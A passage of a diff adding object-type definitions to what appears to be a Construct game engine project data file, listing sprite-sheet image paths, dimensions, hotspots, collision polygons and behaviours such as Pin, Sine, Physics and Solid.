+ 0.5354330539703369,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 763954177825218,
+ [],
+ null
+ ],
+ [
+ "t444",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 338125136145469,
+ [
+ [
+ "images/sprite301-sheet0.png",
+ 872,
+ 0,
+ 0,
+ 125,
+ 36,
+ 1,
+ 0.527999997138977,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 185512903865724,
+ [],
+ null
+ ],
+ [
+ "t445",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 820585695554312,
+ [
+ [
+ "images/sprite302-sheet0.png",
+ 878,
+ 0,
+ 0,
+ 127,
+ 36,
+ 1,
+ 0.5354330539703369,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 818935231390276,
+ [],
+ null
+ ],
+ [
+ "t446",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 378223635957540,
+ [
+ [
+ "images/walktero2-sheet0.png",
+ 1722,
+ 0,
+ 0,
+ 36,
+ 38,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 224425701443464
+ ]
+ ],
+ false,
+ false,
+ 464450551186165,
+ [],
+ null
+ ],
+ [
+ "t447",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 738209873092668,
+ [
+ [
+ "images/sprite74-sheet0.png",
+ 289608,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 956967173092597,
+ [],
+ null
+ ],
+ [
+ "t448",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 607711495722138,
+ [
+ [
+ "images/sprite75-sheet0.png",
+ 204319,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 789687905215772,
+ [],
+ null
+ ],
+ [
+ "t449",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 336536738158895,
+ [
+ [
+ "images/sprite77-sheet0.png",
+ 287013,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 614373911225375,
+ [],
+ null
+ ],
+ [
+ "t450",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 741432718876280,
+ [
+ [
+ "images/walktero3-sheet0.png",
+ 473,
+ 0,
+ 0,
+ 39,
+ 39,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 647963058876358
+ ]
+ ],
+ false,
+ false,
+ 267891365481963,
+ [],
+ null
+ ],
+ [
+ "t451",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 12,
+ true,
+ 1,
+ 0,
+ false,
+ 816332529668656,
+ [
+ [
+ "images/alertero-sheet0.png",
+ 1144,
+ 0,
+ 0,
+ 50,
+ 51,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ [
+ [
+ "Imagepoint 1",
+ 3.759999990463257,
+ 0.5098039507865906
+ ]
+ ],
+ [],
+ 0
+ ],
+ [
+ "images/alertero-sheet1.png",
+ 1075,
+ 0,
+ 0,
+ 50,
+ 51,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 247279525508904,
+ [],
+ null
+ ],
+ [
+ "t452",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 20,
+ true,
+ 1,
+ 0,
+ false,
+ 871250507523316,
+ [
+ [
+ "images/cohetero-sheet0.png",
+ 17495,
+ 1,
+ 1,
+ 240,
+ 120,
+ 1,
+ 0.4000000059604645,
+ 0.5,
+ [],
+ [
+ 0.1865740120410919,
+ 0.09642899036407471,
+ 0.01157400012016296,
+ 0.1440479755401611,
+ 0.00925898551940918,
+ -0.1166670024394989,
+ 0.1824080049991608,
+ -0.09166699647903442
+ ],
+ 0
+ ],
+ [
+ "images/cohetero-sheet0.png",
+ 17495,
+ 1,
+ 123,
+ 240,
+ 120,
+ 1,
+ 0.4000000059604645,
+ 0.5,
+ [],
+ [
+ 0.1865740120410919,
+ 0.09642899036407471,
+ 0.01157400012016296,
+ 0.1440479755401611,
+ 0.00925898551940918,
+ -0.1166670024394989,
+ 0.1824080049991608,
+ -0.09166699647903442
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Bullet",
+ 15,
+ 128186204113176
+ ],
+ [
+ "Sine",
+ 13,
+ 866467287123455
+ ]
+ ],
+ false,
+ false,
+ 861298643161597,
+ [],
+ null
+ ],
+ [
+ "t453",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 304716368161179,
+ [
+ [
+ "images/sprite80-sheet0.png",
+ 1513,
+ 0,
+ 0,
+ 100,
+ 34,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3199999928474426,
+ -0.4558827877044678,
+ 0.3100000023841858,
+ -0.4558821022510529,
+ 0.4900000095367432,
+ 0.3970580101013184,
+ -0.4900002181529999,
+ 0.3823530077934265
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 138698672608184,
+ [],
+ null
+ ],
+ [
+ "t454",
+ 12,
+ false,
+ [],
+ 4,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 152663619010011,
+ [
+ [
+ "images/sprite144-sheet0.png",
+ 1563,
+ 0,
+ 0,
+ 35,
+ 34,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 422937828609910
+ ],
+ [
+ "Physics",
+ 16,
+ 703532693831344
+ ],
+ [
+ "Rotate",
+ 19,
+ 518992377623152
+ ],
+ [
+ "Fade",
+ 18,
+ 653059001611407
+ ]
+ ],
+ false,
+ false,
+ 165454155576825,
+ [],
+ null
+ ],
+ [
+ "t455",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 171003559339300,
+ [
+ [
+ "images/cartoonju-sheet0.png",
+ 2941,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.4375,
+ -0.4375,
+ 0,
+ -0.4765625,
+ 0.4374999403953552,
+ -0.4375,
+ 0.4609379768371582,
+ 0,
+ 0.4374999403953552,
+ 0.4374999403953552,
+ 0,
+ 0.4765629768371582,
+ -0.4375,
+ 0.4374999403953552,
+ -0.4609375,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 808551046765754
+ ]
+ ],
+ false,
+ false,
+ 389779190727027,
+ [],
+ null
+ ],
+ [
+ "t456",
+ 12,
+ false,
+ [],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 569590270846004,
+ [
+ [
+ "images/sprite82-sheet0.png",
+ 4271,
+ 0,
+ 0,
+ 70,
+ 70,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3142859935760498,
+ -0.3142859935760498,
+ 0,
+ -0.4857142865657806,
+ 0.3428570032119751,
+ -0.3428570032119751,
+ 0.4857140183448792,
+ 0,
+ 0.3428570032119751,
+ 0.3428570032119751,
+ 0,
+ 0.4714289903640747,
+ -0.3428570032119751,
+ 0.3428570032119751,
+ -0.4714286029338837,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 384188072139905
+ ],
+ [
+ "Bullet",
+ 15,
+ 725692615002892
+ ],
+ [
+ "Rotate",
+ 19,
+ 726123825086498
+ ]
+ ],
+ false,
+ false,
+ 661077955112373,
+ [],
+ null
+ ],
+ [
+ "t457",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 910958745801340,
+ [
+ [
+ "images/cart-sheet0.png",
+ 2012,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3359369933605194,
+ -0.3359369933605194,
+ 0,
+ -0.3203119933605194,
+ 0.3515629768371582,
+ -0.3515619933605194,
+ 0.4374999403953552,
+ 0,
+ 0.2734379768371582,
+ 0.2734379768371582,
+ 0,
+ 0.3984379768371582,
+ -0.265625,
+ 0.265625,
+ -0.4453125,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 947476553049260
+ ],
+ [
+ "Fade",
+ 18,
+ 359497011018277
+ ]
+ ],
+ false,
+ false,
+ 782294207390514,
+ [],
+ null
+ ],
+ [
+ "t458",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 488298875292221,
+ [
+ [
+ "images/sprite85-sheet0.png",
+ 7336,
+ 0,
+ 0,
+ 373,
+ 233,
+ 1,
+ 0.5013405084609985,
+ 0.5021459460258484,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 578828034694641
+ ]
+ ],
+ false,
+ false,
+ 455572649076723,
+ [],
+ null
+ ],
+ [
+ "t459",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/hh2.png",
+ 4303,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 600878540210615
+ ]
+ ],
+ false,
+ false,
+ 625515864600882,
+ [],
+ null
+ ],
+ [
+ "t460",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/hh2.png",
+ 4303,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 504193690069060
+ ]
+ ],
+ false,
+ false,
+ 804338132743337,
+ [],
+ null
+ ],
+ [
+ "t461",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles10.png",
+ 1162,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 181207801477333
+ ]
+ ],
+ false,
+ false,
+ 666427648499202,
+ [],
+ null
+ ],
+ [
+ "t462",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 212355508784508,
+ [
+ [
+ "images/globo1-sheet0.png",
+ 4967,
+ 0,
+ 0,
+ 154,
+ 117,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 787941733892438,
+ [],
+ null
+ ],
+ [
+ "t463",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 531021332429342,
+ [
+ [
+ "images/globo2-sheet0.png",
+ 5038,
+ 0,
+ 0,
+ 154,
+ 117,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 774279595547860,
+ [],
+ null
+ ],
+ [
+ "t464",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 822028745654499,
+ [
+ [
+ "images/globo3-sheet0.png",
+ 6623,
+ 0,
+ 0,
+ 154,
+ 117,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 361198968395970,
+ [],
+ null
+ ],
+ [
+ "t465",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 802448360007150,
+ [
+ [
+ "images/sprite303-sheet0.png",
+ 2332,
+ 0,
+ 0,
+ 98,
+ 33,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ [],
+ [
+ -0.9489794969558716,
+ -0.3939394950866699,
+ 0.01020407676696777,
+ -0.3939394950866699,
+ 0.01020407676696777,
+ 0.3636364936828613,
+ -0.9489794969558716,
+ 0.3636364936828613
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 869418334070136
+ ]
+ ],
+ false,
+ false,
+ 843083399462153,
+ [],
+ null
+ ],
+ [
+ "t466",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 309756678934052,
+ [
+ [
+ "images/globo4-sheet0.png",
+ 6849,
+ 0,
+ 0,
+ 154,
+ 117,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 865876313280117,
+ [],
+ null
+ ],
+ [
+ "t467",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 144525630522224,
+ [
+ [
+ "images/sprite86-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "ScrollTo",
+ 20,
+ 638415800809704
+ ]
+ ],
+ false,
+ false,
+ 134716209974415,
+ [],
+ null
+ ],
+ [
+ "t468",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 735397609756242,
+ [
+ [
+ "images/sprite88-sheet0.png",
+ 6089,
+ 0,
+ 0,
+ 670,
+ 115,
+ 1,
+ 0.5,
+ 0.5043478012084961,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 577943161081998
+ ]
+ ],
+ false,
+ false,
+ 732403938628914,
+ [],
+ null
+ ],
+ [
+ "t469",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 136939576800253,
+ [
+ [
+ "images/sprite89-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 424181667048411,
+ [],
+ null
+ ],
+ [
+ "t470",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 624997629956782,
+ [
+ [
+ "images/sprite90-sheet0.png",
+ 2716,
+ 0,
+ 0,
+ 71,
+ 71,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 899637248922171
+ ]
+ ],
+ false,
+ false,
+ 916350603291770,
+ [],
+ null
+ ],
+ [
+ "t471",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 232610041783977,
+ [
+ [
+ "images/sprite91-sheet0.png",
+ 7405,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 566793516123293,
+ [],
+ null
+ ],
+ [
+ "t472",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 325771808902633,
+ [
+ [
+ "images/sprite124-sheet0.png",
+ 4192,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 969548073384657,
+ [],
+ null
+ ],
+ [
+ "t473",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 415876214356532,
+ [
+ [
+ "images/sprite124-sheet0.png",
+ 4192,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 174017336431035,
+ [],
+ null
+ ],
+ [
+ "t474",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 807937904742829,
+ [
+ [
+ "images/sprite151-sheet0.png",
+ 3868,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 673342462657608,
+ [],
+ null
+ ],
+ [
+ "t475",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 512589312846418,
+ [
+ [
+ "images/sprite154-sheet0.png",
+ 2821,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 998897170602124,
+ [],
+ null
+ ],
+ [
+ "t476",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 374265978039140,
+ [
+ [
+ "images/sprite171-sheet0.png",
+ 2516,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 632847399173434,
+ [],
+ null
+ ],
+ [
+ "t477",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 766205173708812,
+ [
+ [
+ "images/sprite174-sheet0.png",
+ 2317,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 936969065896553,
+ [],
+ null
+ ],
+ [
+ "t478",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 702672162351438,
+ [
+ [
+ "images/sprite177-sheet0.png",
+ 2047,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 126374513162095,
+ [],
+ null
+ ],
+ [
+ "t479",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 637414680933513,
+ [
+ [
+ "images/sprite178-sheet0.png",
+ 21219,
+ 0,
+ 0,
+ 481,
+ 156,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 131521833092155,
+ [],
+ null
+ ],
+ [
+ "t480",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 369680067580648,
+ [
+ [
+ "images/sprite179-sheet0.png",
+ 1838,
+ 0,
+ 0,
+ 170,
+ 51,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 916351945005334,
+ [],
+ null
+ ],
+ [
+ "t481",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 678401096324235,
+ [
+ [
+ "images/sprite180-sheet0.png",
+ 6760,
+ 0,
+ 0,
+ 96,
+ 69,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 980003795312004,
+ [],
+ null
+ ],
+ [
+ "t482",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 103391003189882,
+ [
+ [
+ "images/sprite181-sheet0.png",
+ 103686,
+ 0,
+ 0,
+ 422,
+ 461,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 636836820449773
+ ]
+ ],
+ false,
+ false,
+ 617416781752885,
+ [],
+ null
+ ],
+ [
+ "t483",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 975854154453846,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 489500543629275,
+ [],
+ null
+ ],
+ [
+ "t484",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 256515533768135,
+ [
+ [
+ "images/sprite193-sheet0.png",
+ 3188,
+ 0,
+ 0,
+ 144,
+ 93,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 331313476979302,
+ [],
+ null
+ ],
+ [
+ "t485",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 717784803948221,
+ [
+ [
+ "images/sprite245-sheet0.png",
+ 4858,
+ 0,
+ 0,
+ 86,
+ 88,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 997862272992589,
+ [],
+ null
+ ],
+ [
+ "t486",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 660899010373213,
+ [
+ [
+ "images/sprite207-sheet0.png",
+ 132,
+ 0,
+ 0,
+ 502,
+ 80,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 791163975855848
+ ],
+ [
+ "Sine2",
+ 13,
+ 981670170451626
+ ]
+ ],
+ false,
+ false,
+ 374876942139545,
+ [],
+ null
+ ],
+ [
+ "t487",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 370874961816220,
+ [
+ [
+ "images/sprite210-sheet0.png",
+ 4994,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 276656188990437,
+ [],
+ null
+ ],
+ [
+ "t488",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 392991609907985,
+ [
+ [
+ "images/sprite211-sheet0.png",
+ 992,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 855602490592036,
+ [],
+ null
+ ],
+ [
+ "t489",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 339645967686441,
+ [
+ [
+ "images/sprite222-sheet0.png",
+ 861,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 500361085032253,
+ [],
+ null
+ ],
+ [
+ "t490",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 283063399779504,
+ [
+ [
+ "images/sprite305-sheet0.png",
+ 799,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 252448371418816,
+ [],
+ null
+ ],
+ [
+ "t491",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 432812240368298,
+ [
+ [
+ "images/sprite306-sheet0.png",
+ 716,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 365303861998806,
+ [],
+ null
+ ],
+ [
+ "t492",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 138086242523350,
+ [
+ [
+ "images/sprite307-sheet0.png",
+ 5154,
+ 0,
+ 0,
+ 98,
+ 73,
+ 1,
+ 0.5,
+ 0.5068492889404297,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 534021307753673,
+ [],
+ null
+ ],
+ [
+ "t493",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 314140939484224,
+ [
+ [
+ "images/door1-sheet0.png",
+ 2890,
+ 0,
+ 0,
+ 37,
+ 159,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 537668690926668
+ ]
+ ],
+ false,
+ false,
+ 749003231562020,
+ [],
+ null
+ ],
+ [
+ "t494",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 714245349592271,
+ [
+ [
+ "images/sprite11-sheet0.png",
+ 1863,
+ 0,
+ 0,
+ 170,
+ 57,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ [],
+ [
+ -0.5,
+ -0.4561403393745422,
+ 0.5,
+ -0.4561403393745422,
+ 0.5,
+ 0.4210530519485474,
+ -0.5,
+ 0.4210530519485474
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 734160087193340
+ ],
+ [
+ "Solid",
+ 17,
+ 238725225856396
+ ]
+ ],
+ false,
+ false,
+ 632986049917611,
+ [],
+ null
+ ],
+ [
+ "t495",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
